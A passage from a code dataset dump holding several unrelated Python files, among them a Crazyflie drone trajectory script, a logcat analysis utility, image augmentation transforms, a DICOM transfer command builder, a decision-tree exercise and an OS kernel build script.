data.T\n data = data + np.array([0, -1, 0])\n data = 0.5 * data\n return data\n\nif __name__ == '__main__':\n \n index = 1 # for cf1\n initialPosition = [0.0, 1.5, 0.0] # x,y,z coordinate for this crazyflie\n cfs = CrazyflieParser(index, initialPosition)\n cf = cfs.crazyflies[0]\n time = cfs.timeHelper\n \n # Get input for eight trajectory\n traj = eight_traj()\n \n cf.setParam(\"commander/enHighLevel\", 1)\n cf.setParam(\"stabilizer/estimator\", 2) # Use EKF\n cf.setParam(\"stabilizer/controller\", 2) # Use mellinger controller\n #cf.setParam(\"ring/effect\", 7) \n \n # Takeoff\n cf.takeoff(targetHeight = 1, duration = 5.0)\n time.sleep(5.0)\n \n # GO to the first point of eight trajectory\n cf.goTo(goal = traj[0,:], yaw = 0.0, duration = 5.0, relative = False, groupMask = 0)\n time.sleep(5.0)\n \n # Move along eight trajectory\n for i in range(0,202):\n cf.cmdPosition(traj[i,:], yaw = 0)\n time.sleep(0.1)\n\n # Go back to landing\n cf.goTo(goal = [0.0, 1.5, 1.0], yaw = 0.0, duration = 5.0, relative = False, groupMask = 0)\n time.sleep(5.0)\n\n cf.land(targetHeight = 0.0, duration = 5.0)\n time.sleep(5.0)\n","sub_path":"scripts/my_controller_3d_eight.py","file_name":"my_controller_3d_eight.py","file_ext":"py","file_size_in_byte":1817,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"164217285","text":"import glob\n\nimport cv2\nimport torch\nfrom albumentations.pytorch import ToTensorV2\n\nfrom ml import parameter\n\n\nclass Mydataset(torch.utils.data.Dataset):\n def __init__(self, data_dirpath, transform, mode):\n assert mode in [\"train\", \"validation\", \"test\", \"predict\"], \"mode must be 'train' or 'test' or 'predict'\"\n # {data_dirpath}/{label}/{filename}\n self.data_dirpath = data_dirpath\n self.filepath_list = glob.glob(f\"{data_dirpath}/*/*.jpg\", recursive=True)\n self.transform = transform\n self.mode = mode\n\n def __len__(self):\n return len(self.filepath_list)\n\n def __getitem__(self, index):\n \"\"\"\n filepath: {data_dirpath}/{label}/{filename}\n img_tensor: torch.Size([3, 28, 28])\n label_tensor: torch.Size([]), tensor(label)\n \"\"\"\n filepath = self.filepath_list[index]\n if self.mode in [\"train\", \"validation\", \"test\"]:\n # {data_dirpath}/{label}/{filename} の{label}を取り出す\n label_name = filepath.split(\"/\")[-2]\n label_index = parameter.LABEL_DICT.fetch(label_name)\n img_tensor = self.get_image(filepath)\n return filepath, img_tensor, torch.tensor(label_index)\n elif self.mode == \"predict\":\n img_tensor = self.get_image(filepath)\n return filepath, img_tensor\n else:\n raise ValueError(f\"invalid mode={self.mode}\")\n\n def get_image(self, filepath):\n img = cv2.imread(filepath)\n img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n if self.transform is not None:\n img = self.transform(image=img)[\"image\"]\n img = ToTensorV2()(image=img)[\"image\"]\n return img\n","sub_path":"prj/pytorch_2/src/ml/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":1705,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"401353037","text":"import operator\nimport re\nimport sys\n\nfrom IPython.terminal.embed import InteractiveShellEmbed\nimport pandas as pd\n\nfrom logcat_formatregex import threadtime_format_regex, brief_format_regex\nfrom error_level import ErrorLevel\n\n\nclass LogComber(object):\n \"\"\"Utility object for the processing and analysis of Android logcat files.\n\n Attributes:\n idmap (dict): Maps strings of various logcat format types to regular\n expressions \n (specifically, :class:~logcat_formatregex.LogcatRegexFormat) which \n capture said format's components.\n format_field (dict): Maps strings of various log cat format types to\n a list of the components (eg. 'tag', 'message')\n \"\"\"\n idmap = {\n 'threadtime': threadtime_format_regex,\n 'brief': brief_format_regex,\n }\n format_field = {\n 'threadtime': ['date', 'time', 'procid', 'thrdid', \n 'lvl', 'tag', 'message'],\n 'brief': ['lvl', 'tag', 'procid', 'thrdid', 'message'],\n }\n def __init__(self, lines, _format=\"threadtime\", _strip=True):\n \"\"\"Creates a LogComber class instance\n\n Args:\n lines (List[str]): The lines contained within the logcat file.\n _format (str): Name of format command used to generate logcat file.\n _strip (bool): Strips blank space from tags. Default is True. \n\n Attributes:\n _format (str): Name of format command used to generate logcat file.\n lines (List[str]): List of original lines input from logcat.\n logs (:class:`~pandas.DataFrame`): Data frame with columns matching\n :attr:`LogComber.idmap` keys.\n\n Raises:\n KeyError: If passed a `_format` that is not in \n :attr:`LogComber.idmap` keys.\n\n Returns:\n :class:`LogComber`\n \"\"\"\n if _format not in LogComber.idmap.keys():\n msg = \"Format type '{0}' is not valid. Acceptable types are: '{1}'\"\n raise KeyError(msg.format(_format, LogComber.idmap.keys()))\n self._format = _format\n \n \"\"\"_log_errors: List of lines in logcat file\n that do not match the regular expression indicated by _format.\n Saved in tuples in the form of: (line number, line text).\n \"\"\"\n self._log_errors = []\n self.lines = []\n self.logs = self._process_lines(lines, _strip)\n\n def _process_lines(self, lines, _strip):\n \"\"\"Creates LogComber's internal :class:`~pandas.DataFrame`\n\n Matches each line of logcat input to regular expression indicated by\n :attr:`LogComber._format`. Notable side-effects are populating both\n the :attr:`LogComber._log_errors` and :attr:`LogComber.lines` fields.\n\n Args:\n lines (List[str]): These are the logcat lines passed from\n the constructor.\n _strip (bool): Strips blank space from tags. Default is True. Also\n passed from the constructor.\n\n Returns:\n :class:`~pandas.DataFrame`: Lines that do not match the regular\n expression are blank, the rest should contain the field defined\n in :attr:`LogComber.format_field`\n\n \"\"\"\n data = []\n for i,line in enumerate(lines):\n self.lines.append(line) # populate with original text\n match = LogComber.idmap[self._format].match(line)\n if match:\n if _strip:\n gd = match.groupdict()\n gd['tag'] = gd['tag'].strip()\n data.append(gd)\n else:\n data.append(match.groupdict())\n else:\n data.append({\n k:'' for k in LogComber.format_field[self._format]\n })\n # Add line index and line text to errors\n self._log_errors.append((i, line)) \n return pd.DataFrame(data)\n\n def count_instances(self, col, regex=None, regexflags=0, reverse=True):\n \"\"\"Returns number of instances of field in the logcat file.\n\n Args:\n col (str): Field to find the number of instances of.\n regex (str): Regular expression string to match entries in `col`\n regexflags (int): Regular expression flags.\n reverse (bool): If True (is default), display the number of\n instances from most to least. If False, display in ascending\n order.\n \n Raises:\n KeyError: If `col` is not in :attr:`LogComber.format_field` for\n :attr:`LogComber._format`\n\n Returns:\n List[ (str, int) ]: Each tuple is ('Instance name', # of instances).\n \"\"\"\n if col not in LogComber.format_field[self._format]:\n msg = \"There is no field named '{0}'. Available fields are: '{1}'.\"\n raise KeyError(\n msg.format(col, LogComber.format_field[self._format])\n )\n counts = {}\n for entry in self.logs[col]:\n if regex:\n if not re.match(regex, entry, regexflags):\n continue \n counts[entry] = counts.setdefault(entry, 0) + 1 \n return sorted(counts.items(),\n key=operator.itemgetter(1), reverse=reverse)\n \n def _calculate_error_rate(self): \n return float(len(self._log_errors)) / len(self.logs)\n\n def analyze_LogComber_processing_errors(self):\n return {'error_rate': self._calculate_error_rate(),\n 'errors': self._log_errors}\n\n def errors_tofile(self, fname='errors.txt', wlinenums=True):\n errs = self.analyze_LogComber_processing_errors()\n if wlinenums:\n errors = [\"{0}: {1}\".format(tp[0], tp[1]) for tp in errs['errors']]\n else:\n errors = [\"{0}\".format(tp[1]) for tp in errs['errors']]\n outfile = open(fname, 'w')\n outfile.write(\"\\n\".join(errors))\n outfile.close()\n\n def get_logs_with_tags(self, tag_regex, error_level=ErrorLevel.V, flags=0):\n \"\"\"Returns all the log entries that match the tag.\n\n Args:\n tag_regex (str or :class:`~re.SRE_Pattern`): Regular expression for\n tags to find in the logcat file.\n error_level (:class:`~error_level.ErrorLevel`): Error level of tags\n to be returned. The log wil be returned if it's tag field \n matches the :attr:`tag_regex` and the log's error level field \n is equal to, or less than, the verbosity of the \n :attr:`error_level` (as such, since 'V' is more verbose than \n all other :class:`~error_level.ErrorLevel`, therefore the\n default value essentially allows all error_levels.) \n flags (int): The flags used by :method:`~re.compile`, for\n :attr:`tag_regex`. Ignored if :attr:`tag_regex` is of\n :class:`~re.SRE_Pattern`, instead of type :class:`str`. \n\n Returns:\n :class:`~pandas.DataFrame`: Containing all logs matching \n :attr:`tag_regex` and have logs of verbosity equal to, or less \n than :attr:`error_level`. \n\n \"\"\"\n if not hasattr(tag_regex, 'match'):\n tag_regex = re.compile(tag_regex, flags).match\n else:\n tag_regex = tag_regex.match \n tags = filter(tag_regex, self.logs.tag.unique())\n fn = lambda x: ErrorLevel.match(x.lvl) <= error_level and x.tag in tags\n return self.logs[self.logs.apply(fn, axis=1)]\n\n @staticmethod\n def import_logs_from_file(path, endchar=\"\\r\\n\"):\n try:\n fname = open(path)\n return fname.read().split('\\r\\n')\n finally:\n fname.close()\n \n\n def get_tags(self):\n return set(self.logs.tag.tolist())\n\n def get_regex_formatter(self):\n \"\"\"Returns LogcatRegexFormat object\"\"\"\n return self.idmap[self._format]\n \n def __repr__(self):\n return \"\".format(\n self._format, \n len(self.logs) if self.logs is not None else \"\"\n )\n\nif __name__ == '__main__':\n ipshell = InteractiveShellEmbed()\n if len(sys.argv) > 1:\n f = sys.argv[2] if len(sys.argv) > 2 else 'threadtime' \n lg = LogComber(LogComber.import_logs_from_file(sys.argv[1]), f)\n msg = \"Log file '{0}' is loaded into logcomber instance as 'lg'.\"\n ipshell(msg.format(sys.argv[1]))\n else:\n ipshell()\n","sub_path":"logcomber/logcomber.py","file_name":"logcomber.py","file_ext":"py","file_size_in_byte":8637,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"125416664","text":"import cv2\n\nfrom albumentations import (\n RandomRotate90, Normalize, Compose, ShiftScaleRotate, JpegCompression,\n LongestMaxSize, PadIfNeeded\n)\nfrom albumentations.torch import ToTensor\n\ncv2.setNumThreads(0)\ncv2.ocl.setUseOpenCL(False)\n\n\ndef post_transform():\n return Compose([Normalize(), ToTensor()])\n\n\ndef train_transform(image_size=224):\n transforms = [\n LongestMaxSize(max_size=image_size),\n PadIfNeeded(image_size, image_size, border_mode=cv2.BORDER_CONSTANT),\n ShiftScaleRotate(\n shift_limit=0.1,\n scale_limit=0.1,\n rotate_limit=45,\n border_mode=cv2.BORDER_REFLECT,\n p=0.5\n ),\n RandomRotate90(),\n JpegCompression(quality_lower=50),\n post_transform()\n ]\n transforms = Compose(transforms)\n return transforms\n\n\ndef valid_transform(image_size=224):\n transforms = [\n LongestMaxSize(max_size=image_size),\n PadIfNeeded(image_size, image_size, border_mode=cv2.BORDER_CONSTANT),\n post_transform()\n ]\n transforms = Compose(transforms)\n return transforms\n","sub_path":"src/transforms.py","file_name":"transforms.py","file_ext":"py","file_size_in_byte":1109,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"185479833","text":"from meta.app import DCMTK_BIN, DCMIN, AE_TITLE, AE_CALLED, \\\n PEER_PORT, INCOMING_PORT, PEER_ADDRESS\n\n\nCONNECTION = '-aet {} -aec {} {} {} +P {}'.format(AE_TITLE, AE_CALLED, \\\n PEER_ADDRESS, PEER_PORT, INCOMING_PORT)\n\n\ndef base_command():\n return DCMTK_BIN \\\n + 'movescu -v -S -k QueryRetrieveLevel=SERIES ' \\\n + CONNECTION\n\n\nTARGET_MAPPING = {\n 'syngo': 'SRSYVMS01',\n 'teamplay': 'TEAMPLAY',\n 'teamplayshare': 'TEAMPLAY-ISHARE'\n}\n\n\ndef _transfer_part(node, study_id):\n return '-aem {} -aet {} -aec {} {} {} +P {} -k StudyInstanceUID={} {}' \\\n .format(node, AE_TITLE, AE_CALLED, PEER_ADDRESS, \\\n PEER_PORT, INCOMING_PORT, study_id, DCMIN)\n\n\ndef transfer_command(target, study_id):\n \"\"\" Constructs the first part of the transfer command to a PACS node. \"\"\"\n return DCMTK_BIN + 'movescu -v -S ' \\\n + _transfer_target(target, study_id)\n\n\ndef _transfer_target(target, study_id):\n node = TARGET_MAPPING[target]\n return _transfer_part(node, study_id)\n","sub_path":"meta/command.py","file_name":"command.py","file_ext":"py","file_size_in_byte":1089,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"48569545","text":"from sklearn import tree\nfrom sklearn.datasets import load_svmlight_file\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n\"\"\"\n\nDecision Trees: Partition the dataset into a training and a testing set.\nRun a decision tree learning algorithm usign the training set. Test the\ndecision tree on the testing dataset and report the total classification error\n(i.e. 0/1 error). Repeat the experiment with a different partition. Plot\nthe resulting trees. Are they very similar, or very different? Explain why.\nAdvice: it can be convenient to set a maximum depth for the tree.\n\n\"\"\"\n\n\ndef get_data(name):\n data = load_svmlight_file(name)\n return data[0], data[1]\n\n\ndef data_partition(N):\n x_train = xm[:N]\n y_train = y[:N]\n x_test = xm[N:]\n y_test = y[N:]\n return x_train, y_train, x_test, y_test\n\n\ndef classification_error(y_test, y_predict):\n tf = y_test == y_predict\n errors = np.where(tf == False)[0]\n return len(errors), len(tf)\n\n\nx, y = get_data(\"australian.txt\")\nxm = x.toarray() # type(x) = scipy.sparse.csr.csr_matrix, type(xm) = numpy.ndarray\nN = 150 # size of training sets\nd = 20 # max_depth\n\nx_train, y_train, x_test, y_test = data_partition(N)\n\nclf = tree.DecisionTreeClassifier(max_depth=d)\nclf = clf.fit(x_train, y_train)\n\ny_predict = clf.predict(x_test)\n\ntree.plot_tree(clf)\nplt.show()\n\nerrors, total = classification_error(y_test, y_predict)\n\nprint(errors, \"/\", total)\n","sub_path":"lab1/decision_trees.py","file_name":"decision_trees.py","file_ext":"py","file_size_in_byte":1411,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"372226693","text":"#!/usr/bin/python3\nimport subprocess\nimport sys\nimport os\nimport argparse\nimport config\nimport shutil\n\nclass bcolors:\n HEADER = '\\033[95m'\n OKBLUE = '\\033[94m'\n OKGREEN = '\\033[92m'\n WARNING = '\\033[93m'\n FAIL = '\\033[91m'\n ENDC = '\\033[0m'\n BOLD = '\\033[1m'\n UNDERLINE = '\\033[4m'\n\ndef print_risk(title, msg):\n\tif 'QUIET' in os.environ and os.environ['QUIET'] == '1':\n\t\treturn\n\tprint(bcolors.OKBLUE + '[' + title + '] ' + bcolors.OKBLUE + msg + bcolors.ENDC)\n\ndef print_good(title, msg):\n\tif 'QUIET' in os.environ and os.environ['QUIET'] == '1':\n\t\treturn\t\n\tprint(bcolors.OKGREEN + '[' + title + '] ' + bcolors.OKGREEN + msg + bcolors.ENDC)\t\n\ndef print_fail(title, msg):\n\tif 'QUIET' in os.environ and os.environ['QUIET'] == '1':\n\t\treturn\t\n\tprint(bcolors.HEADER + '[' + title + ']\\n' + bcolors.FAIL + msg + bcolors.ENDC)\n\ndef print_linking(msg):\n\tif 'QUIET' in os.environ and os.environ['QUIET'] == '1':\n\t\treturn\t\n\tprint(bcolors.OKBLUE + '[LINKING] ' + bcolors.OKBLUE + msg + bcolors.ENDC)\n\ndef print_compiling(msg):\n\tif 'QUIET' in os.environ and os.environ['QUIET'] == '1':\n\t\treturn\t\n\tprint(bcolors.OKBLUE + '[BUILDING] ' + bcolors.OKBLUE + msg + bcolors.ENDC)\n\ndef print_compile_skip(msg):\n\tif 'QUIET' in os.environ and os.environ['QUIET'] == '1':\n\t\treturn\t\n\tprint(bcolors.OKGREEN + '[OK] ' + bcolors.OKGREEN + msg + bcolors.ENDC)\n\ndef print_compile_fail(msg):\n\tif 'QUIET' in os.environ and os.environ['QUIET'] == '1':\n\t\treturn\t\n\tprint(bcolors.HEADER + '[COMPILE-ERRORS]\\n' + bcolors.FAIL + msg + bcolors.ENDC)\n\ndef transform_opts(opts, envadds):\n\tout = []\n\n\tfor k in envadds:\n\t\tos.environ[k] = envadds[k]\n\n\tfor opt in opts:\n\t\tout.append(os.path.expandvars(opt))\n\n\treturn out\n\ndef run(cmdline, stdout=None, stderr=None, comm_timeout=120, cwd=None):\n\tif 'MAKE_SHELL_SCRIPT' in os.environ and os.environ['MAKE_SHELL_SCRIPT'] == '1':\n\t\tprint(cmdline)\n\t\treturn (b'', b'')\n\tif 'VERBOSE' in os.environ and os.environ['VERBOSE'] == '1':\n\t\tprint(cmdline)\n\tproc = subprocess.Popen(cmdline, shell=True, stderr=stderr, stdout=stdout, cwd=cwd)\n\treturn proc.communicate(timeout=comm_timeout)\n\ndef copyfile(src, dst):\n\tif 'MAKE_SHELL_SCRIPT' in os.environ and os.environ['MAKE_SHELL_SCRIPT'] == '1':\n\t\tprint('cp %s %s' % (src, dst))\n\t\treturn\n\tshutil.copyfile(src, dst)\n\ndef action_csharp_build(copts, sources, output):\n\tsources_abs = []\n\n\tfor src in sources:\n\t\tsources_abs.append(os.path.abspath(src))\n\n\topts = transform_opts(config.SEDNA_CSHARP_COMPILER_OPTS, {\n\t\t'BASE_DIR':\t os.path.abspath('./'),\n\t\t'INPUT': \t\t' '.join(sources_abs),\n\t\t'OUTPUT': \t\toutput,\n\t})\n\n\treturn run(' '.join(opts), stderr=subprocess.PIPE)\n\ndef have_dotnet_core():\n\t(outs, errs) = run('dotnet --version', stderr=subprocess.PIPE)\n\tif len(errs) > 0:\n\t\treturn False\n\telse:\n\t\treturn True\n\ndef action_build_sedna_compiler_dotnet(copts):\n\tif os.path.exists('./bin') is False:\n\t\tos.makedirs('./bin')\n\n\tbase_dir = os.path.abspath('./')\n\n\t(outs, errs) = run('dotnet build', stdout=subprocess.DEVNULL, stderr=subprocess.PIPE, cwd='%s/sedna/' % base_dir)\n\n\t# TODO: This is incomplete, but it is also currently not used.\n\n\tif len(errs) > 0:\n\t\tprint_compile_fail(errs.decode('utf8'))\n\t\tprint('Build stopped because of errors.')\n\t\texit(-1)\n\ndef action_build_sedna_compiler_mono(copts):\n\tif os.path.exists('./bin') is False:\n\t\tos.makedirs('./bin')\n\n\t(outs, errs) = action_csharp_build(copts, config.SEDNA_SOURCES, '${BASE_DIR}/bin/compiler.exe')\n\n\tif len(errs) > 0:\n\t\tprint_compile_fail(errs.decode('utf8'))\n\t\tprint('Build stopped because of errors.')\n\t\texit(-1)\n\ndef action_build_sedna_compiler(copts):\n\tif not have_dotnet_core():\n\t\tprint_fail('DOTNET', 'execution of `dotnet` failed; failing back to mono')\n\t\taction_build_sedna_compiler_mono(copts)\n\ndef action_build_sedna_kernel_module(copts):\n\tif os.path.exists('./bin') is False:\n\t\tos.makedirs('./bin')\n\n\tif have_dotnet_core():\n\t\tprint_risk('USING', 'dotnet built compiler')\n\t\topts = ['dotnet', 'restore']\n\t\topts = transform_opts(opts, {\n\t\t\t'BASE_DIR':\t os.path.abspath('./'),\n\t\t})\t\t\n\t\t(outs, errs) = run(' '.join(opts), stderr=subprocess.PIPE, cwd='%s/sedna/' % os.path.abspath('./'))\n\n\t\tif len(errs) > 0:\n\t\t\tprint_compile_fail(errs.decode('utf8'))\n\t\t\tprint('Build stopped because of errors from `dotnet restore`. Try setting VERBOSE=1.')\n\t\t\texit(-1)\t\n\n\t\topts = ['dotnet', 'run', '${BASE_DIR}/bin/main.sbc', '${BASE_DIR}/sedna/main.sn']\n\t\topts = transform_opts(opts, {\n\t\t\t'BASE_DIR':\t os.path.abspath('./'),\n\t\t})\t\t\n\t\t(outs, errs) = run(' '.join(opts), stderr=subprocess.PIPE, cwd='%s/sedna/' % os.path.abspath('./'))\n\telse:\n\t\tprint_risk('USING', 'mono built compiler')\n\t\t# Build sedna kernel module bytecode.\n\t\topts = ['${BASE_DIR}/bin/compiler.exe', '${BASE_DIR}/bin/main.sbc', '${BASE_DIR}/sedna/main.sn']\n\t\topts = transform_opts(opts, {\n\t\t\t'BASE_DIR':\t os.path.abspath('./'),\n\t\t})\n\t\t(outs, errs) = run(' '.join(opts), stderr=subprocess.PIPE)\n\n\n\tif len(errs) > 0:\n\t\tprint_compile_fail(errs.decode('utf8'))\n\t\tprint('Build stopped because of errors.')\n\t\texit(-1)\t\n\n\tfd = open('./bin/sedna_wrap.asm', 'w')\n\tfd.write('BITS 32\\n')\n\tfd.write('SECTION .sedna\\n')\n\tfd.write('INCBIN \"%s/main.sbc\"\\n' % os.path.abspath('./bin/'))\n\tfd.close()\n\n\t# Build sedna kernel module.\n\topts = ['${NASM_BIN}', '-g', '-f', 'elf', '-o', '${BASE_DIR}/bin/ksedna.o', '${BASE_DIR}/bin/sedna_wrap.asm']\n\topts = transform_opts(opts, {\n\t\t'BASE_DIR':\t os.path.abspath('./'),\n\t})\n\n\t(outs, errs) = run(' '.join(opts), stderr=subprocess.PIPE)\n\tif len(errs) > 0:\n\t\tprint_compile_fail(errs.decode('utf8'))\n\t\tprint('Build stopped because of errors.')\n\t\texit(-1)\t\n\n\n\ndef action_build_kernel(copts):\n\tif os.path.exists('./bin') is False:\n\t\tos.makedirs('./bin')\n\n\tobjs = []\n\n\tbase_dir = os.path.abspath('./')\n\n\tfor src in config.KERNEL_SOURCES:\n\t\tignore_stderr = False\n\n\t\tif type(src) is dict:\n\t\t\tif 'ignore_stderr' in src and src['ignore_stderr'] is True:\n\t\t\t\tignore_stderr = True\n\t\t\tsrc = src['src']\n\n\t\tfsrc = os.path.abspath(src)\n\t\t(bsrc, esrc) = os.path.splitext(fsrc)\n\n\t\t(_, src) = os.path.split(fsrc)\n\n\t\tif esrc == '.o':\n\t\t\tobjs.append(fsrc)\n\t\t\tcontinue\n\n\t\tfout = os.path.abspath('bin/%s.o' % (src))\n\n\t\tobjs.append(fout)\n\n\t\t# Is object file older than source?\n\t\tsrc_mtime = os.path.getmtime(fsrc)\n\t\tif os.path.exists(fout):\n\t\t\tobj_mtime = os.path.getmtime(fout)\n\t\telse:\n\t\t\tobj_mtime = 0\n\n\t\tif obj_mtime >= src_mtime:\n\t\t\tprint_compile_skip('%s' % (src))\n\t\t\tcontinue\n\n\t\tprint_compiling('%s' % (src))\n\n\t\tif esrc == '.asm':\n\t\t\topts = transform_opts(config.NASM_OPTS, {\n\t\t\t\t'BASE_DIR':\t base_dir,\n\t\t\t\t'INPUT': \t\tfsrc,\n\t\t\t\t'OUTPUT': \t\tfout,\n\t\t\t})\n\t\telif esrc == '.c':\n\t\t\topts = transform_opts(config.GCC_OPTS, {\n\t\t\t\t'BASE_DIR':\t\tbase_dir,\n\t\t\t\t'INPUT':\t\tfsrc,\n\t\t\t\t'OUTPUT':\t\tfout,\n\t\t\t})\n\t\telse:\n\t\t\tprint('The extension \"%s\" is unknown for source \"%s\".' % (esrc, src))\n\t\t\texit(-1)\n\n\t\t(outs, errs) = run(' '.join(opts), stderr=subprocess.PIPE)\n\t\t\n\t\tif len(errs) > 0:\n\t\t\tprint_compile_fail(errs.decode('utf8'))\n\t\t\tif ignore_stderr is False:\n\t\t\t\tprint('Build stopped because of errors.')\n\t\t\t\texit(-1)\n\n\topts = transform_opts(config.LD_OPTS, {\n\t\t'BASE_DIR': \t\tbase_dir,\n\t\t'INPUT':\t\t\t' '.join(objs),\n\t\t'OUTPUT':\t\t\tos.path.abspath('./bin/krnlld.bin'),\n\t})\n\n\tprint_linking('krnlld.bin')\n\n\t(outs, errs) = run(' '.join(opts), stderr=subprocess.PIPE)\n\n\tif len(errs) > 0:\n\t\tprint_compile_fail(errs.decode('utf8'))\n\t\texit(-1)\n\n\tprint_risk('MAKING-ISO', 'myvaros.iso')\n\n\tif os.path.exists('./bin/iso') is False:\n\t\tos.makedirs('./bin/iso')\n\n\topts = transform_opts(config.KERNEL_ISO_OPTS, {\n\t\t'BASE_DIR': \t\tbase_dir,\n\t\t'ISO_DIR':\t\t\tos.path.abspath('./bin/iso'),\n\t\t'INPUT':\t\t\t' '.join(objs),\n\t\t'OUTPUT':\t\t\tos.path.abspath('./bin/myvaros.iso'),\n\t})\n\n\tcopyfile('./isocfg/isolinux-debug.bin', './bin/iso/isolinux-debug.bin')\n\tcopyfile('./isocfg/ldlinux.c32', './bin/iso/ldlinux.c32')\n\tcopyfile('./isocfg/libcom32.c32', './bin/iso/libcom32.c32')\n\tcopyfile('./isocfg/isolinux.cfg', './bin/iso/isolinux.cfg')\n\tcopyfile('./isocfg/mboot.c32', './bin/iso/mboot.c32')\n\tcopyfile('./bin/krnlld.bin', './bin/iso/krnlld.bin')\n\n\tif 'VERBOSE' in os.environ and os.environ['VERBOSE'] == '1':\n\t\tprint(' '.join(opts))\n\n\t(outs, errs) = run(' '.join(opts), stderr=subprocess.PIPE)\n\n\tif len(errs) > 0:\n\t\tprint_fail('ISO CREATION FAILED', errs.decode('utf8'))\n\t\texit(-1)\n\n\tprint_good('RESULT', 'BUILD SUCCESS')\n\ndef action_run(copts):\n\tif copts.system[0] != 'kernel':\n\t\tprint('Only supported system to run is \"kernel\".')\n\t\texit(-1)\n\n\topts = transform_opts(config.KERNEL_QEMU_OPTS, {\n\t\t'BASE_DIR': \t\tos.path.abspath('./'),\n\t\t'BIN_DIR':\t\t\tos.path.abspath('./bin'),\n\t\t'ISO_DIR':\t\t\tos.path.abspath('./bin/iso'),\n\t\t'INPUT':\t \tos.path.abspath('./bin/myvaros.iso'),\n\t})\n\n\ttry:\n\t\trun(' '.join(opts), stdout=sys.stdout, stderr=sys.stderr, comm_timeout=None)\n\texcept:\n\t\tpass\n\n\"\"\"\n\tThe system targets for build operations.\n\"\"\"\nsystems_build = {\n\t'kernel': {\n\t\t'handler': action_build_kernel,\n\t\t'deps': [\n\t\t\t'sedna_kernel_module',\n\t\t]\n\t},\n\t'sedna_kernel_module': {\n\t\t'handler': action_build_sedna_kernel_module,\n\t\t'deps': {\n\t\t\t'sedna_compiler',\n\t\t}\n\t},\n\t'sedna_compiler': {\n\t\t'handler': action_build_sedna_compiler,\n\t\t'deps': [\n\t\t]\n\t},\n}\n\nclass UnknownTargetSystem(Exception):\n\tdef __init__(self, sys_name):\n\t\tsuper().__init__()\n\t\tself.sys_name = sys_name\n\ndef action_build(copts, sysname_override=None):\n\tif sysname_override is not None:\n\t\tsys_name = sysname_override\n\telse:\n\t\tsys_name = copts.system[0]\n\t\tprint_risk('BUILDING', sys_name)\n\n\tif systems_build.get(sys_name, None) is None:\n\t\traise UnknownTargetSystem(sys_name)\n\n\tcfg = systems_build[sys_name]\n\n\tif cfg.get('deps', None) is not None:\n\t\tfor dep in cfg['deps']:\n\t\t\tprint_risk('DEP-BUILDING', dep)\n\t\t\taction_build(copts, dep)\n\n\tif cfg.get('handler', None) is not None:\n\t\tcfg['handler'](copts)\n\n\tprint_good('BUILD', 'completed build of %s' % sys_name)\n\n\ndef main(args):\n\tfor bin_name in config.BIN_PATHS:\n\t\tif bin_name not in os.environ:\n\t\t\tos.environ[bin_name] = config.BIN_PATHS[bin_name]\n\n\t# Read configuration containing the source files.\n\tparser = argparse.ArgumentParser(description='Build Coordination')\n\tparser.add_argument('action', type=str, nargs=1, help='The action.')\n\tparser.add_argument('system', type=str, nargs=1, help='The system to build.')\n\tparser.add_argument('-no-wait', action='store_true', default=False)\n\tparser.add_argument('-make-shell-script', action='store_true', default=False)\n\tcopts = parser.parse_args(args[1:])\n\n\tif copts.make_shell_script:\n\t\tos.environ['MAKE_SHELL_SCRIPT'] = '1'\n\t\tos.environ['QUIET'] = '1'\n\n\tif copts.no_wait:\n\t\tos.environ['QEMU_SERIAL_DEBUG_NOWAIT'] = ',nowait'\n\telse:\n\t\tos.environ['QEMU_SERIAL_DEBUG_NOWAIT'] = ''\n\t\n\tif copts.action[0] == 'build' or copts.action[0] == 'run':\n\t\taction_build(copts)\n\telse:\n\t\tprint('Only supported actions are \"build\" and \"run\".')\n\n\tif copts.action[0] == 'run':\n\t\taction_run(copts)\n\ntry:\n\tmain(sys.argv)\nexcept UnknownTargetSystem as exc:\n\tprint('The system \"%s\" is not known.' % exc.sys_name)\n\tsyslst = list(systems_build.keys())\n\tsyslst = ' '.join(syslst)\n\tprint('Possible values for system are: %s' % syslst)\n\n\n","sub_path":"build.py","file_name":"build.py","file_ext":"py","file_size_in_byte":11017,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"472833301","text":"import sys\nimport random\nimport argparse\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\"intext\", type=str)\n parser.add_argument(\"outtext1\", type=str)\n parser.add_argument(\"outtext2\", type=str)\n parser.add_argument(\"-n\", \"--num-lines\", type=int)\n parser.add_argument(\"--seed\", type=int, default=0)\n args = parser.parse_args()\n\n random.seed(args.seed)\n total_lines = sum(1 for _ in open(args.intext, 'r'))\n rand_list = sorted(random.sample(range(total_lines), args.num_lines)) + [0]\n offset = 0\n with open(args.intext, 'r') as fi, open(args.outtext1, 'w') as fo1, open(args.outtext2, 'w') as fo2:\n for i, line in enumerate(fi):\n if i == rand_list[offset]:\n fo1.write(line)\n offset += 1\n else:\n fo2.write(line)\n","sub_path":"egs/tasi/randsplit.py","file_name":"randsplit.py","file_ext":"py","file_size_in_byte":857,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"36485308","text":"#/usr/bin env python\n# -*- coding:utf-8 -*-\n\nimport sys\nimport os.path\nimport glob\nimport unittest\n\nsuite = unittest.TestSuite()\ntest_modules = [os.path.basename(str[0:len(\n str) - 3]) for str in glob.glob(os.path.join(os.path.dirname(__file__), 'test_*.py'))]\nfor module in test_modules:\n try:\n # If the module defines a suite() function, call it to get the suite.\n mod = __import__(module, globals(), locals(), ['suite'])\n suitefn = getattr(mod, 'suite')\n suite.addTest(suitefn())\n except (ImportError, AttributeError):\n # else, just load all the test cases from the module.\n suite.addTest(unittest.defaultTestLoader.loadTestsFromName(module))\n\nif __name__ == \"__main__\":\n result = unittest.TextTestRunner(verbosity=2).run(suite)\n if 